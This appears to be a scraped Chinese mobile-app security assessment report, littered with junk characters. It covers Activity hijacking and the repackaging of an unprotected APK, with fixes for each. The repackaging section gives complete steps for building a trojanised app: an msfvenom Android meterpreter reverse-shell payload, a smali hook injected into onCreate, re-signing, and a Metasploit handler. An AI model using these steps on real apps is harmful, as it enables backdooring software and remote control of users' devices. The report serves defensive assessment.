( C6 L8 W5 A+ }6 j9 C) p
$ F3 k* [. y7 p+ k, [ + w, N. B% r$ _: P
& O4 @ q) q$ k& M 表1-2 测试结果 ! c" T: c/ t, h! D$ H- c+ K
0 }1 }# u4 q2 v+ i0 e9 G
5 \, _4 G# P1 s. [5 H; ]9 W) l. T. q
: g5 x! y) O# |: T
# }. H# h$ |( F+ h1 c! j' f) k
$ U& U2 H& ?& d0 ]0 b d
0 L3 J5 z8 a7 T2 f2 I' ]& V" F* n
2 e" V+ ?3 Y; h
/ R0 W! Y5 y! `+ \. p* L
! R9 ]% C3 Q! l6 E
5 @( @1 ?: X) S" I% ^$ ` 2 检测结果
* c1 H7 | G* V { D4 N
8 b+ M8 }. Z L" T5 l8 @
4 X6 r% C4 M/ J7 U% b) }/ _) E
4 A8 A% O' U9 _- J1 {
( y' W+ }6 S+ ^, d: ^' n5 A5 [1 n6 K- H& W9 m N
2.1 某某某
4 `/ \3 D6 x/ N6 ]3 w J) n, ^& Y+ V% h; f5 Y; @2 a, m1 A
7 D: L9 u/ H) e" h4 T, k3 c
: D. ~/ A( o) I. ~: Y
; j' a( e% S: ~/ f8 L: m2 w+ }9 C( k
2.1.1检测目标 0 [% m( a* J- Y! b. k/ v! t
+ O, E) b# E y4 i4 s' K- w
) w2 ?/ R- j x& G! U9 \
' E4 b4 W5 G! Q" h ~; L
x6 H2 R' c8 d" t5 Q! x4 F
: r) K4 R7 r0 ^ 目标地址: 某某某某某某APP 7 K6 i4 u/ A- C. c0 p
' S" q) G7 ^9 C5 i( d
: S \& |6 @9 d" }: {
/ f8 G( n0 b/ X$ L/ S
: }; g: i4 V1 U+ o6 B$ a. d, @0 u( Z; h
2.1.2检测结果
9 |+ {. e0 v$ y: h" Y/ ^( g% ~+ K1 Y, `6 |9 V
# ?1 R; J5 @1 m9 G. A4 d
; }: @/ m6 @, A5 k/ I
( y' [* f. Z9 V# u& s% A; D
/ S5 ^ H6 Y6 B 2.1.2.1
1 _( k6 ]4 \7 `
! l; g0 [ q0 Z9 ~) R2 f
1 H# V# ]3 C& j) l' e; ]# e$ S
* k. @/ B+ O l% @. }3 F8 J! Y
) \+ p/ N* Q" V1 @$ i1 x1 s0 E8 q4 U, g% B1 Y. }
漏洞链接地址:某某某某某某APP ' H9 ?3 L3 E7 h R, q& @! C
. t: q! z. ~0 F6 {6 [1 `$ y$ b
0 M+ X w. u3 t, j
' p" x7 q( S9 z
0 C: `, s! w) j) j7 t2 s8 @8 d7 m8 u
2 }1 W1 Y7 \/ k! d
. o" n$ ?! r7 Q7 t, B
- H9 M: _5 N" \. C( ^" o
5 q, B/ K) W" \
' D; {. d0 e9 o0 ?0 X, e& a
" r! o: H, T. ^5 e
漏洞分析及取证: 5 h, b$ c3 _5 `
2 g% F3 s4 n, R. V
1 L# L8 r9 _0 C. ]
: s5 [3 c2 r b7 P5 L, g
2 l2 A; l, Q' N$ Q- W) Q1 D. k5 m) t1 K1 N
通过androidkiiler反编译,发现app未进行安全加固, Activity 为com.minivision.cmcc.activity.SubActivity可被劫持,复现漏洞如图: X+ }' \% ?6 A; [5 _- Z
: D7 _! i* s; o" D' v1 T9 h- i; O5 ]2 G
# z% Z7 `4 s( l9 {, i, i
& d# o5 ~! t" _* v! y
" I* J1 S9 @% j: A* ]1 r6 M+ E& a+ S ?% ?) r" N- f+ r4 ~
' m4 D8 e% L. }& {; g' X. B0 p ?7 d' M4 l
$ o1 [, ~ F8 X
# W- v% n# r- B u l! x& H, v , ?- |# r/ b% n' i2 a: j
: P E+ c# E& j3 c5 D M6 I8 T 7 k8 E- Q- g. _9 }. w
. |0 D4 b- v% x" }1 ^& K
4 F; B2 [7 [- w' B" A7 S+ A( J* B6 b# W
- \* U% I8 z+ h* O! l, h Z1 F2 m
8 b M. @ P4 d' w
- z C! a$ {4 x. o5 }1 L# Z( s
" ^5 s6 Z- G, f) \: j! `8 k
, B" e& N; U W% E- Y& ^5 B: a* Y+ X: r( x' a+ I6 t) E
+ U: I1 ~) n- W4 {
' V' ^( { z. G
; ?3 Z- Y6 w- r( [- N% k- f% `4 G; D" L
: g# y. K: d# }' j& x. {/ v
' r* k/ A6 u+ m, P5 Q, q; l+ L/ ~ |& u& p5 l8 D) C& G9 q
& Z% _5 t: D, ?9 {5 T; F' L
. i! G1 d! c: K/ s
( y0 Z: T; i" q- j* Z
9 D& k: t! O# ~- T- L* [3 N9 v0 _
# n3 Q6 N4 @5 M! S4 {
( C* q( k! U5 L4 R2 E
* M1 m6 l ?- k( ]' P3 T' |9 F
3 a; u& G4 Z' o- J: p6 \' _ 漏洞危害:高 $ X- S8 z. _0 |+ Z
1 _) U% ?9 e2 x1 v5 }# p0 Z" N
) I6 w* A- M( m" X$ h" t
" E4 U7 c1 p6 y) F4 \3 k
- M! W) s; w1 C7 y
# }4 ~$ V5 e D0 l6 g9 p% g: i
) D( w- }- j6 e7 B7 S& C
9 M( s0 ~+ q( I3 M$ W6 M
5 |+ l0 N# A) d& S$ `
: |( [4 D+ r8 S5 ~; p5 | / v0 k4 c, x+ J# u9 _) A. y( F
/ v2 t8 v* | R1 ]) W
|
1 u# M& R' k' `! l) Q
1 a6 M4 N$ F% d. }# ]
- ^8 Y. a' S* k, s$ ^0 @
& G$ _9 @/ A$ X 严重程度 + E( D+ v- a& o" Q+ S. ]0 R8 e* k) z
$ u w; Y- r# X4 B( s
) F4 J1 l8 x7 ~, a- Q4 j8 k. Z- A
* z8 N! @2 g- L* V5 h | ! h2 ]6 U. a! q$ O* O2 q6 V# U
: c7 }& Z% u: t- _1 ^2 f7 m
4 S- o# k/ y/ ]1 q2 X9 g
7 K3 Z! p2 `% \5 V C3 E- ^% M ; K: V, ?$ y$ P
/ k0 }: b% P& k4 h# k( ~7 \# Z 高 8 d r' v+ o+ o7 h+ J! j, V2 O* b
* q' y; q ?5 u, J+ ]7 o) q
* p' E3 c7 f, Z b
0 h d# Z! K5 f: Q E |
2 h3 D5 @0 _" |$ `0 b E( e, L" g
: B1 \# I# q1 f; E( S& X V: Y* `. h! @3 V- U( [. O
. G) ~5 D; B f
# A3 Z3 T0 \) ^: R+ t. A; \
■ : U3 J4 Q) k- ?9 [
7 c b& S5 J2 N V5 T
& b A: g% g3 `0 p1 T# N1 C
' i4 c! B* e, y. \$ q" r$ g | 3 W/ `& G' n& p' _2 U! q# R N
" ?% j7 I+ ?. L5 Z 2 O' a( B" A* ~
$ |( Q6 H/ G. X- t" _& \: F. {; n
! |9 @- [* g4 K, b# ~7 `+ {# u' H" C5 q( F! w8 M
中
8 p1 l8 p+ B: U4 L) A! T& n j |
0 X* s& [; u% ~0 q' ] F
1 ^- r2 A2 X, m$ U | # p" a W% h) B* g
! R' b9 X& K. Q; H# A$ D* V
" T0 Y) t8 m& q) d1 W# c( D
0 m/ Y7 J7 C4 a# H: b
! M$ {- n( [* n7 G% u6 w6 G; T* a. u9 d: ^% C
2 ?2 A4 y. [, v4 Y. F( y6 Q5 r" p
' H$ w8 \* \& w1 L. H& h, l
9 N2 z( E9 y, O+ P( z; F7 x6 V0 S' C. G. P- v2 @3 y6 [
|
) K O" L9 s3 A+ U; o) j( f" w3 U$ G2 F; r
; V1 {; T: a7 g2 B- p- @
+ G1 ^0 J0 C1 a g5 i8 [6 r
2 h% x+ Y0 Z, I% w6 d; Y0 y
( ~( ]' N9 ^( P$ t% T 低
# \( D: K' f; k- p: g; G4 O
+ T+ J% H# Z3 m6 B8 C# M4 ]; N- j. N) e
, |, X- q( d: s1 C2 C1 o0 J5 C) |3 B7 K1 Y9 o3 w! J
|
- v8 F4 N0 h9 H4 p2 i4 `9 N; H* B
) k. `1 Q7 J) a: r5 }. Q; z
+ S1 F4 N x* }4 _0 ~( N1 y: A
4 A! ~! N; `! [- X3 y1 f # |- p* ~* d T$ F0 T& K& x8 C
, M5 ~4 m; t" y8 _9 h
0 N. q. N' c$ O
* O( j' M6 T: M/ I3 f
: |8 g+ |7 f/ ~& a# J3 _1 _; d* ]/ z1 d- `4 J* c+ ^( ^* p
| 1 c& o+ l/ {7 ?) }% A7 ], j
8 @: q% ~5 O# Q8 q/ n( M
5 ` ^) o( M. b/ z5 V* N/ `
. S$ B; u' i' r ' e$ J" ?5 ^5 \5 Z: W$ e6 @
8 y8 w% j$ c" v0 V) }/ b
6 X1 N! G$ v" y3 L6 v. f+ e6 ]( L
7 v$ K3 C% J2 Y. f' l# \. @ 3 L6 r8 y- ]8 V+ [) W5 w
+ d* r; v! k, K! G/ F2 Z
7 c7 G" d9 I. I V* ?$ M/ |
: x+ Q$ z- |& L& N3 W + E! y3 i6 z7 o5 K1 S& A5 m
0 Y* g4 Y1 Z, s
1 Z$ L" d8 h, O" {$ q: |3 x3 c. n. r6 }% k7 V
& E3 ^( U @1 Z% F& Z
! F2 z$ j* c1 s( ^
修复方法:在 APP 的 Activity 界面(也就是 MainActivity)中重写 onKeyDown 方法和 onPause 方法,当其被覆盖时,就能够弹出警示信息。判断程序进入后台是不是由用户自己触发的(触摸返回键或 HOME 键),如果是用户自己触发的则无需弹出警示,否则弹出警示信息。
& F" l D; r0 V; r$ }3 C- k1 Z/ J/ v3 @
) k1 ^+ C9 ?0 j
! ? v) q9 ~' V s7 ^
5 H) F2 D/ n! K, t6 j
! v. {7 W3 b6 E) { ' g; T& \/ q& D+ Z; R( q
; d; T" x8 ^% r5 D2 J; X/ S
3 [( M- S9 ~) m! S
$ M* L6 `) L' P" y# U9 U) n. d2 r , {8 p) U/ ~; C9 H. R! G
, y) V" n! N* W5 }8 C1 s2 n- E
* A2 B1 Q, G, p& q
* ^6 W1 F; U" ~
* J. ?$ B5 L+ a8 y) _: p0 p0 W4 ^# f' [0 ]5 N+ d+ L
3 ^3 e- R$ _; v* k9 y: L
1 W; ? o8 V9 c4 b( g% w9 T
2.1.2.2
( `% \+ ?) l0 u3 U |" h. o3 {$ R1 b( ^) s
, k: X3 |- Z% T
8 u8 o7 _6 k0 c; L # O. q3 c+ e% R T, n( L( F
0 O$ D1 ~& |# T8 Q6 Q4 \+ P 漏洞链接地址:某某某某某某APP 4 |. }. }2 c' K0 ]
7 i1 K7 X" T/ }* s1 Z
& y9 ~+ ~$ d8 v" g% O. [
3 P: ~, y, o# S" `; \ ( u/ F' Y! @2 U* K6 V$ f/ }2 M
9 E! D- }' s- \" `/ Y j1 ]- F 漏洞分析及取证:
! C; o6 u7 f/ d! p+ Y
& S1 X2 X) R! f+ h+ y9 c
" A& a4 x1 } e
. I& A9 t# n6 I2 v5 R* ] 8 B6 l$ V& c1 C
* T6 k: e/ p; \- N$ ^
通过反编译,发现程序未加壳加密,可直接反编译获取源码,经过测试可修改app代码捆绑木马或者植入广告等操作,复现详细方法如下: # y; g) U9 H, @: Z8 I
% O. s U3 P+ k8 ?( y
- S6 G R! p) t% X1 Q, a! b1 w
2 x* I- A9 d! M! [% e& F N$ C
0 h6 J2 m V# W* z m' R" Q" e+ y9 U) z3 W; ]9 N& `: I4 N! N
用Metasploit 生成木马 apk 4 e- M, {0 M# q( R b
G/ H3 z0 Z: H0 b' k
% R& \9 N* w0 J# D: K/ E1 Z( \
1 h$ U: H+ F1 m$ Y( K 3 o$ F p! \% v
+ d/ O! z6 N( r
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.xxx.x.x LPORT=4444 R > cockhorse.apk
6 y N5 B/ P9 N2 g; b4 \0 \: k9 H9 z* `" X- _8 ~/ y
# Z. S8 Q+ ?# q# `) S% w, F% x& b% l5 l$ F5 l. b. {) [4 E) Y0 g
" y- C/ d" Q; r! b
_$ ]7 k9 w& a. j7 q3 F( \
反编译目标apk和木马apk ' N: X4 b; J! N& ^( w8 x: e
/ X$ l+ `2 i( {. M4 Y
1 d4 o" ~8 u, p( O( r
( V! b) f1 t# d( G
5 \6 K* \& |9 j! L, {
1 E0 g, D# r9 N5 q4 ?( C+ w apktool d target.apk
8 b o3 j3 F6 i- i0 S( @! j6 ]9 q* w4 U
apktool d cockhorse.apk
4 s7 w V# \2 {. @' K
( K) c" A8 y# V% W
! E3 k% v, \* f9 E+ [/ M
2 ?$ c# e {! L' c% e
9 b7 _# [0 h+ A
6 J- [6 \& T% J5 p 木马 apk 注入目标 apk 5 m1 S6 d7 V2 D" j) e0 w( I
5 K; k* v8 t ~7 y
& L. C1 A4 i- I* @( P3 X
. o* ^ n0 I8 j. {
7 }5 R: r9 N8 C5 T# x9 u7 F' @. [4 G- C- f; W, e
在目标 apk 反编译生成的文件中找到启动 Activity 的 smali 文件,并在 onCreate()方法中添加如下代码:
9 e u i( h: Y' o' y. o4 ?; K
" e/ X( { V- c" s" |5 [
invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V . P% s; z. I; i8 b( X
z3 m1 X0 E- ]: R8 T; j
: e4 @. I( l4 }
5 u8 |2 A7 q: ]$ ]/ F
. b: m# P: {3 C D( b h0 r
6 `5 r8 T. f1 q- S- `
将木马文件 AndroidManifest.xml 中的权限放到目标文件 AndroidManifest.xml 中,去除重复
% F3 I6 W/ u4 @, l6 G* D7 e5 [2 h' }/ X
$ g4 z/ l) i9 Y! N) t j2 q0 m
" Z0 t7 V) U% Q
( @, P/ x5 D8 H
2 d+ g( [& ]% t9 e2 c4 o 将木马文件的 smali 文件放到目标文件下,例如 com/metasploit 文件复制到目标文件 com/ 下 E. {: R$ |/ u9 o; X' i% X
# a, V/ i" d( H8 ?2 x3 M
( v2 J( \1 Z+ U# i. a$ U& Y1 s0 e5 C! m* ]5 K) _
4 U* s" w" X& \2 q3 f3 w1 J% n
8 W; M6 a. a2 r; X& W4 f* J. L 回编译生成最终 apk
& Q4 v2 ^8 r% H
4 L. @) r3 Y& B' d) l m+ _
m! s( |5 [ A# p5 \# v
' m0 k' M( L2 J2 p6 {# A( @: z" U
E+ j% u6 {. ~# @4 J, j" ~" ~ ]2 Y2 ~. _5 z/ R" J8 M
重新打包 # o9 [0 [: D% `6 g1 u' J
1 j w7 Y7 h4 g) W) V2 M
# B: g" A+ F8 K: y" H( M1 e1 g/ F, u& F: J2 D' Y( h
v- v/ @5 Y9 D, D) |
7 X5 C0 C+ |0 @9 _ apktool b -o repackage.apk target_app_floder
I) [3 y6 ^* |1 X4 C; J) R$ f% l
6 G* E6 ^$ j' h, u
4 \$ ~$ v7 g5 h. V( |% c. ]& M- H$ `
@: P* L# _+ Z, H1 @ K$ T* ]
" ^$ D& z! V4 T3 J# K3 S2 j/ w
( m* V3 F* r( m j; g- z3 d8 p+ ~4 G$ X 创建签名文件,有的话可忽略此步骤 1 P9 L, ?8 J2 W% `
g. E6 W% z3 a" M0 C- T" a) Y
" B C0 |; F |0 V7 U/ o2 V+ Z
4 G8 y- _5 E0 J3 A- L) q
* F5 g; N- ?8 @- x' q* Q
+ Z% a6 G N- W7 M keytool -genkey -v -keystore mykey.keystore -alias mykeyaliasname -keyalg RSA -keysize 2048 -validity 10000 ' ^: l; ?3 O, t5 Q; @
: ?7 x, w" y6 ~. V# g0 L
$ |3 C& X5 n. i5 n6 \, J& H: J' V0 I2 w. {
2 n! s/ v* w7 ]8 e- U/ _0 `0 C
0 R4 ?% L/ ?9 V, l6 f- c4 _# l% l
签名,以下任选其一
" o1 k/ j) r( {( Y1 G
3 B- C0 P# T! J: S) d
( r2 r( m! A U, A
& u! f3 G; | Y d- w* F* S5 v
8 `$ `, _4 U1 k jarsigner 方式 1 w8 u2 R: }, h3 q2 E# d! h3 r8 r
9 v! S( ^) `( G# L. S) F' k7 d
; b9 K5 ^ ?5 ~0 C9 z: y5 }+ F
3 F4 L+ R! @7 i3 ]6 A
/ D7 U# |2 S* p5 d
3 u; P8 g$ J# B$ }, I jarsigner -sigalg SHA256withRSA -digestalg SHA1 -keystore mykey.keystore -storepass 你的密码 repackaged.apk mykeyaliasname $ `0 B; v1 `. g
% t$ P [2 O. o- s, y2 _
: k( P9 o3 C# Z1 l6 \' u5 t/ `
8 t6 ]9 {2 e2 V1 J0 R - M2 e( n1 o6 g( \! F/ e
. B3 Q( Y! k" {1 s1 f apksigner 方式 4 t3 d1 V- h5 I& ^3 h4 C
8 D. Z( c2 X, K7 Z! s. [
6 \8 Q2 e& U2 u
/ v5 K6 u# K1 a8 [ 8 I/ A1 p8 f. i* F
6 B- I. J" n: @" {, N2 U0 E apksigner sign --ks mykey.keystore --ks-key-alias mykeyaliasname repackaged.apk 3 A( \- @, {6 m1 L2 K
" a: e* k% P5 {8 j, Y3 X
2 `; `7 D+ @, T3 {1 Y& B! U$ [8 ~' q0 f1 e. {
2 d z. P# s% ]7 s' j% h' {: z% Z- }6 \$ L; b
如需要禁用 v2签名 添加选项--v2-signing-enabled false
1 ~: w& |: f5 ^0 A
- n" K7 f! y/ m
: }8 y. P" ]" y9 R7 V3 E
, Z5 C' G* A& {+ A
: ^. n/ l7 X t& ^; R" E6 n) g0 D3 O5 l7 _2 o! w& Q2 R O% i; p# P
验证,以下任选其一 2 \0 R6 L6 y8 @7 D* n
* ]( a0 P: r/ R! O
+ I5 X# v9 u* s- i$ g1 z
6 f- K% v" s; Z# @/ X7 P% L
3 O/ b f9 S, i$ ~2 B' ]0 o/ F
$ Y1 }6 m) R, A" _ jarsigner方式 7 D5 Y: x6 N% W% G2 B: s8 ~
; {& R/ R' t# { j$ F$ a
0 }* h- {4 Y! Z6 A7 _# N6 w* x0 X% w% n& R* ]
0 b9 ?0 I9 V; [
8 H. U, Q* q* q. ]) s
jarsigner -verify repackaged.apk
6 Y$ {* c% P- ]! n* o, N( V% v. w, I* t, m, D, N
" A: O/ P3 H5 y6 |9 Q, d7 A
: K7 M% b0 M% `: b- S8 A7 a
% e' w* g! a# p- p9 y0 f e
+ k* L- Q6 L$ @
apksigner 方式
. V1 ^! r! i& x1 j6 Q0 D- b% | P8 n' W! U, E8 L" X% t
; L) \9 J+ ]$ a7 L
: P, b" K) L* o# F
% M8 ?) t' g0 L
2 s+ i' ^8 y& Q, b
apksigner verify -v --print-certs repackaged.apk ! o/ m1 r1 ^' V2 C3 R# l
% {& t3 j* f. V+ X# e
- X J' T+ g- z2 u/ p: t( I' s
: i2 S5 ]3 Q+ `. P$ |# Q + i, o& C* n4 A/ P: F( `- d2 j( e
1 q) h* O4 u1 H' E# q3 S( N- N! w
keytool方式
$ |1 x8 Z8 W) P) f& |" @; k& b2 ^0 }" H% o% W( P8 \( l4 w( I
A) H) u" v s" Y7 E+ L4 g
. t3 \( W& @! P/ t0 |- }/ f
1 B. q3 t$ y4 X, A6 G# D9 o" V0 f T& J6 F
keytool -printcert -jarfile repackaged.apk ; h5 K8 M% c( S* p1 c6 q
3 B) s5 H2 g9 [
, r% x8 _7 g5 |( M$ Z' t; r g! _7 ~5 N# y" o
9 _* }+ K" j' ^! t
, k; p& V* j" W& p% }. Q, U" { 对齐
. ~% U, O+ D0 B5 m# _( W( W
5 s9 K5 i0 _- k. a/ M% ?
) T2 }. I! _# g
; p5 l( q8 o, W, c. V1 P
4 b. m& }% b$ a+ G: f6 X0 O- g* w. w) l6 B& n
字节对齐优化 / o2 U. E- H. D0 i6 m
8 \; w9 i+ r2 @9 l; N/ b
$ o' F5 X* i. F1 Q; ~, l @- Y- z( x2 o- a( g! A9 }8 v4 R
% M) }# p/ \* {3 i3 \% r; w0 S8 ]7 X8 L; N, l9 O5 F( ~
zipalign -v 4 repackaged.apk final.apk " _! s: P3 G% V. F+ \" M
/ d% `4 O i& a! F- e1 k- A4 Q
2 m5 O" Z# z& o* {9 e% w1 @6 J, k1 G
8 ?7 z: Q9 E" q1 \+ [0 R( I
6 i1 D' R- T% C, ?2 g0 f% O) l4 P
检查是否对齐 # ^% T1 X( P3 t8 U) M o
& d6 k4 K% E# d/ B$ V; i
& H6 Z8 y. m( n& U6 Y! h, l3 [4 r4 _# |% t& g$ T
: p8 w1 p; U8 t) b
3 n# t* Z& V; z- _: Q1 X; _2 p: w zipalign -c -v 4 final.apk ( V- ~1 C* ?, z2 I" G1 j
' d; }: D; V$ m) V1 u
& d- B1 o( P3 Z# V
. p: A, `% G+ v" s U' C
5 T" M; f$ |& z ^
1 C3 H% q7 T" j0 p; y9 s/ m 注:zipalign可以在V1签名后执行,但zipalign不能在V2签名后执行,只能在V2签名之前执行 # ?: d( s5 a1 \' E2 q. s& N
+ e& R y( h0 h3 Q/ h9 z( H
& s7 G. J7 f6 l* y
7 `+ Y& b! ~' ]2 {3 S/ k2 u
7 Q& D' u+ g0 k% v& N7 R$ o
$ y) E9 I$ B* ~" D 启动Metasploit控制台,配置参数等待上线 8 x# p+ z' h/ W; P
. v! `+ l% g5 T* S- b
; R7 K& K I8 m2 [8 X7 R) m& K3 D$ H$ s* r5 u
: t* S) X) v" b" z! ?7 {5 A4 v! Z/ _# i' x6 P- Z
在终端依次输入如下命令 ( y# _# ^% [. z- L! c- V. L
8 \% i! R) }6 R
/ o, ^; M. u& O; w% k: X
' l5 O- B2 D& w' n
7 |2 p0 c# G$ K7 p% S8 J" @3 U& \8 G3 G* u3 y# l5 I
msfconsole & \! U. j: b. j- ]# ^9 u
5 z X) [0 T- H! w' R
1 \9 ~4 i4 U# O: l4 ~% T G
7 m' I% H- C/ ?; h! H
8 y1 K7 l: ]5 U7 q
& ^% z5 X y D* W# i use exploit/multi/handler 8 G u# i0 a w9 Y5 B X
/ [2 [6 h* k/ ?+ m# |
$ I- o) P7 R. Z; u. }& V
, _0 B% R M1 Y0 J% C7 `! D ) t- W0 j7 `* P
0 `: ]- o3 J( ^+ n- j" G) u1 B
set PAYLOAD android/meterpreter/reverse_tcp 7 ^7 S4 q( f( k9 ?" {0 M
6 N4 r) ]2 A- P
$ [1 M) w l9 ?( ~; y$ g8 Q) R
: l- W2 q" v4 d( A9 Q* i4 Q & L. f# I5 t0 U+ l( c# C, N- T9 a
* b K4 {9 E$ s T5 T. w
set LHOST 192.xxx.xx.xx 4 o+ W2 b e. g, ?
$ g' E$ e( o( q3 C$ _4 \6 c
7 f8 z; n4 [4 e) p7 x& h
# {1 ^ A1 j+ v
; S5 S% s% U, _. e4 x q$ B3 H" Z9 H2 `* ~2 f& P1 d6 G
set LPORT 4444
2 X5 w# L7 z B( F0 B" ~% |" s3 q
+ g4 W! c2 r: A3 ?( c6 v) C
6 q9 \& H' q, a- h2 l+ {
0 J3 b, ~8 C! H$ b2 h. I* e
+ f. y; b, x4 l/ Q; F5 q% ?1 o0 C) f
1 H5 x- ~1 w8 N% `" I
exploit
9 T& E2 y3 l3 h( G3 R* n! J" z* X
1 }' B7 d% K' b+ v
! s, @) t- y, x
) Y/ A. Y9 |" Y2 I4 B
8 o0 B7 g/ l; g0 i( \; b% g b
之前我们把入口放在 MainActivity 的 onCreate 方法中,当启动目标应用进入该界面,就会连接成功,如下图:
2 a; [' A1 p0 E* `' N6 f
- d+ P/ u1 i0 [$ U9 r6 |3 M
( [. ~5 M3 v u4 O% R- m* F" R- i
7 N8 b$ n& W2 I4 h. o/ q
4 i+ O- H5 R$ u! c# _) t5 l
漏洞危害:中
6 v' `! m% d) X9 u; z
* Q1 s5 w O5 w0 o
0 O# k6 \; Z9 H: E* T5 e
: B1 b, O* _: ~
3 S A1 J3 h' d. J1 C' w
" q' X3 j2 E( ~4 n
4 Q- [& d/ e& K5 w) g. ~6 L, n+ \" d5 s3 l3 S9 h
, x9 Y: Z6 Q0 T8 F: A$ S- P
/ [$ a1 ?# V3 [( v' y! o/ ^
4 s$ l( h. R' O5 h9 l) ]5 ?
# j. l4 S2 x% y" d& ~ , t! W5 o9 s( M+ R7 P6 l g$ Y
) y% w ^) ]7 C( h$ z% B
|
# d4 I, \+ ]$ z: U2 }
) e- X# p s+ l4 ]
# i1 Z& Z3 s2 ?" D5 c( [2 J) j( r5 x/ e& b2 L' I
严重程度 $ G$ L( B" l) e" f' N* V
, ~. F, ~4 e- L% X+ J
' m2 L7 R7 F. t3 f' {- F2 y. ~4 }6 H7 l5 p" D* N
|
/ N0 F8 n3 w" @3 R! b& e5 e8 B5 c' j/ i E
$ k2 D2 B4 Z/ i
. n4 r G/ p( M: i+ x q! X
5 i% P2 Q3 M4 u( b! m( D) K! X$ r" |# B
高 3 b( F( `: B6 ]
: Q2 M2 r2 Q. X& T+ q6 M0 q
" d% G' v; G- e y( Q. e
. N( T9 k) m; t+ V+ Z0 d7 G1 [3 e- K | 0 p( `! {- _1 {9 @* a, k0 k
+ i* c" Z k. @1 A$ P( o
' g( g$ f0 y u4 g) ?1 o
4 v' k( P: n! \5 x6 @ / @9 [- O$ D2 H+ P @" ?
1 F1 a, S# Y/ P
■
& A/ v4 ?+ j: n$ R" @7 l. X) Q5 ` {" c! H
$ `% g: I, v/ d+ L2 c& v& q4 ?$ ?6 g9 _- F; }
|
# F# i9 U0 S# m6 f& I8 g8 r6 T7 I+ K$ I' _
6 x: M& a$ x$ K/ g' x+ D- y0 o0 }4 ^/ W; \
* I6 p1 c, H% y, t9 Q3 w0 h" I- r: `/ Z0 c
中 0 O# |: M" T- _7 l$ _
# e- B" L! F$ q" o% b; c) @7 _' e
2 D) s4 c$ k5 ^9 M- ~9 Y4 ]
0 K8 x. M; F( k. P$ R% _ |
0 T5 h I# a4 Y, a" r {- I
- v. e# V3 Z" Z* Q% B1 r $ Q' v+ D6 I3 a9 _/ T
' _; A& o) z- k8 `2 P/ @& _ 6 v* f! S/ ]! M- v9 D1 W9 X1 R; E2 |4 R9 e
! \2 d; z0 U: Y+ Q$ D
/ X- K7 f6 v; A
5 R T1 T( q' Z% Q( l, \% G9 ] $ _, g; I" v2 C( o/ R1 Y$ j' w* O
6 E8 q& ?# i4 d2 ?3 d2 f
$ |. p% r3 q+ ~+ a/ r8 s- }: @! t+ m3 U7 x- w5 u; I, Y& i- s
| # z2 ^: ?% w/ A; H# w& L& y
* z/ C; y' F- G/ b( C% r
( ~1 y' b5 K* [! {! e2 H/ V4 b! z% k8 }: q, e" |
. N8 T2 S7 E. K* E% k! f z1 b% {2 e; l
低
' n4 N9 l1 J2 @7 u; ]7 G! S, t
. X ^# G* L& k, d2 a6 |7 n& v7 q2 s ' N- N. u4 ^& z$ a+ a& z' a+ V
. \7 {* [) r! G | : r+ T, O: w! s' {5 z! B1 c
: y u& \! J8 h" ]+ l
c- \$ e7 ?' V6 Z' U
; }! o9 O; F h( ]* V6 D& S& r+ l0 H $ N8 x4 g7 o" P. A/ J7 e
7 y6 B7 p: Z2 c9 E 9 x. k! B& J( g8 a- x2 _1 j
2 ]' t' t+ w+ u; a) { 9 E* B, \3 b& U( V. |+ S$ a3 H
3 l1 t4 n4 `0 ` X3 a) G
5 p- x4 t6 v" O+ n+ i' z1 a5 M; f5 t% m( a7 _
| ' ]- ]" j' F6 _$ T9 o- P, L
/ K. G8 h6 c; c' v
1 R+ l* y. M8 h' k L
+ G# g. z9 @" l+ O D 2 ~/ Y# ]- w' S# I2 q) {
4 k% l9 ?7 [ F. ]+ p" n. C
- p( s: Q! h$ B& g7 |' u8 w
7 f- s6 Q8 Y2 G6 r( ~/ S
4 g2 ^/ c9 d: U8 b+ _- Q
, H9 x# P+ g& s' a: O Y
j2 x, K4 ]9 R" M" r; d$ h
8 ?% O8 c ]) p6 A& Q8 U ! Q& E6 e, L$ K9 G6 l
+ U3 |- G" k# o# a7 ~0 o
" s, l. [/ u. ]! M: L' W; p$ s
% E, y; S7 w: Y H n' i0 |" l" B
* o, H8 R1 |$ i9 Y2 }( H' l; b+ y" W
修复方法:
1 s* C' K0 w! P% V/ U; i2 Y% |: l
7 ^. E' x5 o' N/ c
, o- J: |2 q% u1 D, \( E
9 m( D' H7 i5 K. J ^ {) V% ^
1 ]" w- [5 ]$ ], n, {# o* m& n& X
! _& K3 |. A/ A% E 1.在 APP 启动时应做签名校验防止二次打包。
$ a) r& n& N, Q" m. Z: y2 }+ M# ^/ o: H, U
2.建议采用客户端、通信和服务器端联动防御方案进行安全防御。 G) G( U& f4 P- ]; y5 K
5 |- N5 |5 l3 B. p
# Z3 e- N( U4 y
9 o% H+ |% w) X/ c * ~' c" x9 w4 A% z: @: }
1 z5 j6 i4 D! ]* X. |! V, T
1 e1 e1 M! D8 E/ Y1 I) _7 D' ~% f) h/ \' }% `
- \7 `2 Z$ Y6 y) g6 b( }
; ^) S C: m7 J/ f
( R+ Z V0 D. d7 F
: n' r$ j W) X+ g N7 ^4 J _9 ]8 B h! C2 z6 S* r
. T; L* I }' O. {5 s+ i
5 ^5 k/ o( `7 X, v. _& ^0 Y. V1 X3 ]% g% B$ [- Y0 u( ]
. S9 H7 Y3 e& K% d
1 _; b# n" W9 g
# w7 [, @& P# Y# P: A
: X0 d! L, g" j! M8 R o& q- l